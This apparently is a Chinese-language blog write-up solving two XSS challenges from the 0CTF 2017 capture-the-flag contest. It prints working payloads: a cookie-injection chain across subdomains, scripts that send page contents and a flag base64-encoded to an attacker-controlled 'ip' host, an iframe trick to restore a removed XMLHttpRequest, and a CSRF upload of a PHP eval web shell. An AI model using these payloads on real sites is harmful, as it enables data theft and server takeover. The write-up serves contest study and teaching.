0CTF-2017-web-writeup

xss搞的很爽...

complicated xss

题目描述:The flag is in http://admin.government.vip:8000

两个xss点。
1、http://government.vip/
存储型xss,未做过滤,管理员会触发此xss

202.120.7.205 - - [20/Mar/2017:14:26:18 +0800] "GET /aaakkkkkkk0ctf HTTP/1.1" 404 433 "http://government.vip/data/9ba80c534965c4ca99620071816b9ded.html" "Mozilla/5.0 Chrome(phantomjs) for 0ctf2017 bymd5_salt"

2、http://admin.government.vip:8000/
输入点在cookie中的username

现在出现的问题就是:因为同源政策的原因,肯定是不能利用government.vip的xss直接去获取到admin域下的网页内容
不过admin有一个xss是在cookie中,其实cookie也是有一个同源政策,与域名的同源政策有些不同

cookie的同源政策总结起来就是:

domain是向上通配的(这就可以导致子域名可以写cookie到父域),而且不区分端口、是否https
path是向下通配的

所以整改流程很明显:

1、管理员触发government.vip的xss,在cookie中写一个影响子域名的cookie,也就是username,然后跳转到http://admin.government.vip:8000/
2、再次通过cookie中的xss,也就是在http://admin.government.vip:8000/域名下触发第二个xss点

验证码是惯例,直接php跑一下:

<?php
for ($i; $i < 100000000; $i++) {
    if (substr(md5($i), 0, 6) == 'd46240') {
        echo $i;
        exit();
    }
}

r.js

function setCookie(name,value){
  var Days = 30;
  var exp = new Date();
  exp.setTime(exp.getTime() + Days*24*60*60*1000);
  document.cookie = name + "="+ value + ";expires=" + exp.toGMTString() + ";path=/;domain=.government.vip";
}

setCookie('username','</script><script src=//ip/r1.js></script>')
self.location='http://admin.government.vip:8000/';

这里面还存在一个坑,就是同名cookie的优先级问题.

浏览器应该读取哪个值呢?这个优先级遵守

更长path的cookie更靠前
如果path长度相等,更早创建的cookie更靠前

例如:
服务器的path=/admin
攻击者path=/admin/

这样攻击者的cookie优先级就是最高的

r1.js

/*
省略jquery文件内容
*/
function create_img(url){
  var i = document.createElement("img");
  i.setAttribute("src",url)
  document.body.appendChild(i);
}

$(document).ready(function(){create_img("http://ip/?c="+window.btoa($(":root").html()));});

这样的话,可以获取到http://admin.government.vip:8000/的网页内容:

<head>
<title>Admin Panel</title>
<script>
//sandbox
delete window.Function;
delete window.eval;
delete window.alert;
delete window.XMLHttpRequest;
delete window.Proxy;
delete window.Image;
delete window.postMessage;
</script>
</head>

<body><h1>Hello <script src="//ip/r1.js"></script></h1>

<p>Upload your shell</p>
<form action="/upload" method="post" enctype="multipart/form-data">
<p><input type="file" name="file"></p>
<p><input type="submit" value="upload">
</p></form>
</body>

接着分析,上面是有一个沙盒,应该是为了正常bot的运行吧。但是过滤了window.XMLHttpRequest真的不是很爽。在这找到可以这样恢复(表示这个恢复思路好强...)

https://segmentfault.com/q/1010000007477941

function fix() {
  var iframe = document.createElement('iframe')
  iframe.src = 'about:blank'
  document.body.appendChild(iframe)
  window.XMLHttpRequest = iframe.contentWindow.XMLHttpRequest
}
fix()

最后一步当然就是通过csrf然后文件上传
r2.js

function create_img(url){
  var i = document.createElement("img");
  i.setAttribute("src",url)
  document.body.appendChild(i);
}

function get_html(e){
  create_img("http://ip/?c="+window.btoa(e.target.responseText));
}

var request = false;
if(window.XMLHttpRequest) {
    request = new XMLHttpRequest();
    if(request.overrideMimeType) {
        request.overrideMimeType('text/xml');
    }
} else if (window.ActiveXObject) {
    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
    for(var i=0; i<versions.length; i++) {
        try {
            request = new ActiveXObject(versions);
            } catch(e) {}
    }
}

xmlhttp=request;

var url= "http://admin.government.vip:8000/upload";

var params="-----------------------------223972503529236\r\n"+ "Content-Disposition: form-data; name=\"upload\"\r\n"+ "\r\n"+ "submit" +"\r\n"+ "-----------------------------223972503529236\r\n"+ "Content-Disposition: form-data; name=\"file\"; filename=\"lemon.php\"\r\n"+ "Content-Type: application/octet-stream\r\n"+ "\r\n"+ "<?php @eval($_GET[\'cmd\'])?>\r\n"+ "-----------------------------223972503529236--\r\n";

xmlhttp.open("POST", url, true);
xmlhttp.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
xmlhttp.setRequestHeader("Accept-Language", "de-de,de;q=0.8,en-us;q=0.5,en;q=0.3");
xmlhttp.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------223972503529236");
xmlhttp.withCredentials = "true";
var aBody = new Uint8Array(params.length);
for (var i = 0; i < aBody.length; i++) aBody[i] = params.charCodeAt(i);
xmlhttp.onload = get_html;
xmlhttp.send(new Blob([aBody]));

get_flag

simplexss

题目描述:flag在https://router.vip/flag.php
首先fuzz:

不可用:! “ # $ % & ‘ ( ) , . / : ; > ? @ [ ] ` { }

可用:* + - < = \ ^ _ | ~

可用这样突破:

<link rel=import href=\\八进制ip

这里需要注意的是href的值,其中是\\,而不是//,html标签中可用//替代http://,但是这里为啥可用\\,因为\\在windows下会是file协议,在linux下才会是当前域的协议
围观:http://www.melodia.pw/?p=889

index.php

<?php header('Access-Control-Allow-Origin: *');?>
<script>
var love={ajax:function(){var a;try{a=new XMLHttpRequest()}catch(e){try{a=new ActiveXObject("Msxml2.XMLHTTP")}catch(e){try{a=new ActiveXObject("Microsoft.XMLHTTP")}catch(e){return false}}}return a},req:function(b,c,d,e){d=(d||"").toUpperCase();d=d||"GET";c=c||"";if(b){var a=this.ajax();a.open(d,b,true);if(d=="POST"){a.setRequestHeader("Content-type","application/x-www-form-urlencoded")}a.onreadystatechange=function(){if(a.readyState==4){if(e){e(a)}}};if((typeof c)=="object"){var f=[];for(var i in c){f.push(i+"="+encodeURIComponent(c[i]))}a.send(f.join("&"))}else{a.send(c||null)}}},get:function(a,b){this.req(a,"","GET",b)},post:function(a,b,c){this.req(a,b,"POST",c)}};

love.get("https://router.vip/flag.php",function(rs){
  url = "https://ip/?data=" + window.btoa(rs.responseText)
  love.get(url,function(rs){console.log(rs)});
});
</script>

其中还需要配置一下https服务,参考:http://www.cnblogs.com/best-jobs/p/3298258.html

不过这样我只是在预览的时候成功,不知道是不是bot关闭了。
看了小m的wp,应该是需要域名才能成功,但是域名会有一个.,23333,这里是还能利用中文的,浏览器会自动转换为.,23333,感觉这是在坑国际友人。

posted @ 2017-03-20 15:43  l3m0n  阅读(2885)  评论(0编辑  收藏  举报